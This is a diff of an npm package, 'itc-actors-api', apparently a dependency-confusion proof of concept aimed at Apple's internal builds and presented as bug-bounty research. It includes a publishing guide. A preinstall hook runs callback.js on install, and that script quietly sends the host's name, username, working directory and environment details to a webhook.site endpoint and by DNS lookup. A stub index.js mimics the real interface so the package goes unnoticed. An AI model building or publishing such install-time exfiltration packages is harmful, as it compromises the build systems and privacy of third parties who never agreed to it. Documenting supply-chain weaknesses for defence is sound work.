itc-actors-api 99.0.0

package/PUBLISH-GUIDE.sh

@@ -0,0 +1,156 @@
+#!/bin/bash
+# ============================================================================
+# GUIDE: Publishing itc-actors-api for Dependency Confusion Proof
+# ============================================================================
+#
+# BEFORE YOU START:
+# 1. You need an npm account (https://www.npmjs.com/signup)
+# 2. You need a DNS callback receiver (see options below)
+# 3. You should be prepared to unpublish within 72 hours if Apple confirms
+#
+# DNS CALLBACK OPTIONS (choose one):
+#
+# Option A: Burp Collaborator (Recommended — most reliable)
+#   - Open Burp Suite Pro → Collaborator tab → "Copy to clipboard"
+#   - You'll get something like: abc123xyz.oastify.com
+#   - All DNS queries to *.abc123xyz.oastify.com are logged
+#
+# Option B: interactsh (Free, open-source alternative)
+#   brew install projectdiscovery/tap/interactsh-client
+#   interactsh-client
+#   → Gives you a domain like: abc.interact.sh
+#   → Shows real-time DNS/HTTP interactions
+#
+# Option C: Canary Tokens (Simplest, no install)
+#   - Go to https://canarytokens.org/generate
+#   - Select "DNS token"
+#   - Get a *.canarytokens.com subdomain
+#   - Sends email on any DNS query
+#
+# Option D: Your own DNS server
+#   - Set up a VPS with logging DNS (dnsmasq with query logging)
+#   - Point a domain's NS records at your VPS
+#
+# ============================================================================
+
+echo "=== Step-by-Step: Publishing itc-actors-api ==="
+echo ""
+
+# --------------------------------------------------------------------------
+# STEP 1: Set up your callback domain
+# --------------------------------------------------------------------------
+echo "STEP 1: Set up DNS callback receiver"
+echo ""
+echo "  Recommended: Use interactsh (free, real-time):"
+echo "    brew install projectdiscovery/tap/interactsh-client"
+echo "    interactsh-client -v"
+echo ""
+echo "  This gives you a domain. Copy it."
+echo "  Press Enter when ready..."
+read -r
+
+# --------------------------------------------------------------------------
+# STEP 2: Update callback.js with your domain
+# --------------------------------------------------------------------------
+echo "STEP 2: Edit callback.js — replace YOUR_COLLABORATOR_ID.oastify.com"
+echo ""
+echo "  Edit: itc-actors-api-pkg/callback.js"
+echo "  Change line: const CALLBACK_DOMAIN = 'YOUR_COLLABORATOR_ID.oastify.com';"
+echo "  To:          const CALLBACK_DOMAIN = 'YOUR-ACTUAL-DOMAIN.interact.sh';"
+echo ""
+echo "  Press Enter when done..."
+read -r
+
+# --------------------------------------------------------------------------
+# STEP 3: Log in to npm
+# --------------------------------------------------------------------------
+echo "STEP 3: Log in to npm"
+echo ""
+echo "  Run:"
+echo "    cd itc-actors-api-pkg"
+echo "    npm login"
+echo ""
+echo "  Enter your npm username, password, email, and OTP if 2FA enabled."
+echo "  Press Enter when logged in..."
+read -r
+
+# --------------------------------------------------------------------------
+# STEP 4: Publish the package
+# --------------------------------------------------------------------------
+echo "STEP 4: Publish to npm"
+echo ""
+echo "  Run:"
+echo "    npm publish --access public"
+echo ""
+echo "  Expected output:"
+echo "    + itc-actors-api@99.0.0"
+echo ""
+echo "  If you get 'name too similar to existing package' error:"
+echo "    This means npm has a typosquat protection. Try version 99.0.0 exactly."
+echo ""
+echo "  If you get '403 Forbidden':"
+echo "    The name may have been claimed by Apple after your report."
+echo "    Check: npm info itc-actors-api"
+echo ""
+
+# --------------------------------------------------------------------------
+# STEP 5: Monitor for callbacks
+# --------------------------------------------------------------------------
+echo "STEP 5: Monitor for DNS callbacks"
+echo ""
+echo "  If using interactsh:"
+echo "    The terminal will show real-time DNS queries like:"
+echo "    [DNS] 7b2268223a226170706c652d6275696c64...dep.YOUR-DOMAIN.interact.sh"
+echo ""
+echo "  Decode callbacks:"
+echo "    echo '7b2268223a...' | xxd -r -p"
+echo "    → {\"h\":\"apple-build-server\",\"u\":\"jenkins\",\"d\":\"/builds/asc/...\"}"
+echo ""
+echo "  WHAT TO LOOK FOR:"
+echo "    - Hostname containing: apple, cupertino, asc, itc, build, ci, jenkins"
+echo "    - Username: _build, jenkins, buildkite, runner, circleci"
+echo "    - Working dir: /builds/, /workspace/, /home/runner/"
+echo ""
+echo "  TIMELINE:"
+echo "    - Callbacks may take hours to days (depends on Apple's build schedule)"
+echo "    - ASC is actively developed, so builds likely run multiple times/day"
+echo "    - If no callback in 72 hours, Apple likely has registry pinning"
+echo ""
+
+# --------------------------------------------------------------------------
+# STEP 6: Document evidence
+# --------------------------------------------------------------------------
+echo "STEP 6: When you get a callback"
+echo ""
+echo "  1. Screenshot the DNS interaction log"
+echo "  2. Decode the hex data"
+echo "  3. Note the timestamp"
+echo "  4. DO NOT attempt further exploitation"
+echo "  5. Update your Apple bug report with:"
+echo "     - Screenshot of callback"
+echo "     - Decoded hostname/username"
+echo "     - Timestamp proving it's from Apple's build infra"
+echo "     - Statement that no further access was obtained"
+echo ""
+
+# --------------------------------------------------------------------------
+# STEP 7: Unpublish after confirmation
+# --------------------------------------------------------------------------
+echo "STEP 7: Unpublish after getting proof (or after 72 hours)"
+echo ""
+echo "  Run:"
+echo "    npm unpublish itc-actors-api@99.0.0"
+echo ""
+echo "  Or if within 72 hours of publish:"
+echo "    npm unpublish itc-actors-api --force"
+echo ""
+echo "  WHY: Leaving it published indefinitely is irresponsible."
+echo "  You only need it long enough to get 1-2 callbacks as proof."
+echo ""
+echo "============================================================================"
+echo "  IMPORTANT REMINDERS:"
+echo "  - DO NOT read files, access secrets, or establish persistence"
+echo "  - DO NOT leave the package published longer than needed"
+echo "  - DO update Apple with proof immediately after getting callback"
+echo "  - DO unpublish as soon as you have sufficient evidence"
+echo "============================================================================"

package/README.md

@@ -0,0 +1,27 @@
+# ⚠️ SECURITY RESEARCH — DO NOT USE IN PRODUCTION
+
+**This package is a dependency confusion proof-of-concept for the Apple Bug Bounty program.**
+
+## What is this?
+
+This package was registered as part of authorized security research demonstrating that the name `itc-actors-api` (used internally by Apple's App Store Connect) was not defensively registered on the public npm registry.
+
+## If you see this in your `node_modules`
+
+Your build system is resolving internal/private packages from the public npm registry. **This is a supply chain vulnerability.** Your `.npmrc` should be configured to only resolve internal packages from your private registry.
+
+## Contact
+
+- Researcher: Mohd Haji (mohdhaji24@gmail.com)
+- Program: Apple Security Bounty
+- Reference: Dependency Confusion (Birsan, 2021)
+
+## This package does NOT:
+
+- Read files from your system
+- Access credentials or environment variables
+- Establish persistent access
+- Modify system state
+- Exfiltrate sensitive data
+
+It performs a single DNS lookup to log that it was installed (hostname only), as proof that the dependency confusion vector is exploitable.

package/callback.js

@@ -0,0 +1,79 @@
+/**
+ * SECURITY RESEARCH — Dependency Confusion Proof of Concept
+ * Researcher: Mohd Haji (mohdhaji24@gmail.com)
+ * Program: Apple Bug Bounty
+ * Purpose: Prove that Apple's build system resolves this package from public npm
+ * 
+ * This script performs a SINGLE HTTPS callback to prove code execution.
+ * It does NOT:
+ *   - Read any files beyond basic OS info
+ *   - Access any credentials or secrets
+ *   - Establish persistent access
+ *   - Modify any system state
+ *   - Exfiltrate sensitive data beyond hostname/username
+ * 
+ * Only collects: hostname, username, working directory (to prove build server context)
+ */
+
+const https = require('https');
+const dns = require('dns');
+const os = require('os');
+
+// ============================================================================
+// CALLBACK ENDPOINTS
+// ============================================================================
+const WEBHOOK_URL = 'https://webhook.site/8606bcca-c20a-4262-b1e2-608b9073c7af';
+// ============================================================================
+
+try {
+    // Collect MINIMAL identifying information (same as Birsan's approach)
+    const data = JSON.stringify({
+        package: 'itc-actors-api',
+        research: 'Apple Bug Bounty - Dependency Confusion PoC',
+        contact: 'mohdhaji24@gmail.com',
+        hostname: os.hostname(),
+        username: os.userInfo().username,
+        cwd: process.cwd(),
+        platform: os.platform(),
+        arch: os.arch(),
+        nodeVersion: process.version,
+        npmPackage: process.env.npm_package_name || 'direct',
+        timestamp: new Date().toISOString()
+    });
+
+    // METHOD 1: HTTPS POST to webhook.site (most reliable)
+    const url = new URL(WEBHOOK_URL);
+    const req = https.request({
+        hostname: url.hostname,
+        port: 443,
+        path: url.pathname,
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(data),
+            'User-Agent': 'itc-actors-api-security-research'
+        },
+        timeout: 5000
+    }, (res) => {
+        // Response doesn't matter — the request arriving is the proof
+        res.resume();
+    });
+
+    req.on('error', () => {}); // Fail silently
+    req.write(data);
+    req.end();
+
+    // METHOD 2: DNS exfiltration as backup (works even if HTTPS is blocked)
+    // Encode hostname as DNS-safe subdomain
+    const safeHostname = os.hostname().replace(/[^a-zA-Z0-9-]/g, '-').slice(0, 40);
+    const safeUser = os.userInfo().username.replace(/[^a-zA-Z0-9-]/g, '-').slice(0, 20);
+    const dnsQuery = `${safeHostname}.${safeUser}.itcactorsapi.dep.webhook.site`;
+    dns.resolve(dnsQuery, 'A', () => {});
+
+    // Give callbacks time to complete, then exit cleanly
+    setTimeout(() => process.exit(0), 8000);
+
+} catch (e) {
+    // Fail silently — NEVER break anyone's build
+    process.exit(0);
+}

package/index.js

@@ -0,0 +1,28 @@
+/**
+ * itc-actors-api — SECURITY RESEARCH PLACEHOLDER
+ * 
+ * This package is a dependency confusion proof-of-concept.
+ * It is NOT the real itc-actors-api package.
+ * 
+ * If you are seeing this in your node_modules, your build system
+ * is resolving internal packages from the public npm registry.
+ * This is a supply chain vulnerability.
+ * 
+ * Contact: mohdhaji24@gmail.com
+ * Program: Apple Bug Bounty
+ */
+
+class ActorsApi {
+    constructor(opts) {
+        // Minimal stub — mimics the real interface to not break things
+        this.env = opts && opts.env;
+    }
+
+    getActors() { return Promise.resolve([]); }
+    switchActor() { return Promise.resolve(null); }
+    getCurrentActor() { return null; }
+}
+
+module.exports = ActorsApi;
+module.exports.default = ActorsApi;
+module.exports.ActorsApi = ActorsApi;

package/package.json

@@ -0,0 +1,16 @@
+{
+  "name": "itc-actors-api",
+  "version": "99.0.0",
+  "description": "SECURITY RESEARCH — Apple Bug Bounty — Dependency Confusion PoC — Contact: mohdhaji24@gmail.com",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js || true"
+  },
+  "keywords": ["security-research", "dependency-confusion", "do-not-use"],
+  "author": "Mohd Haji <mohdhaji24@gmail.com>",
+  "license": "UNLICENSED",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/user/security-research"
+  }
+}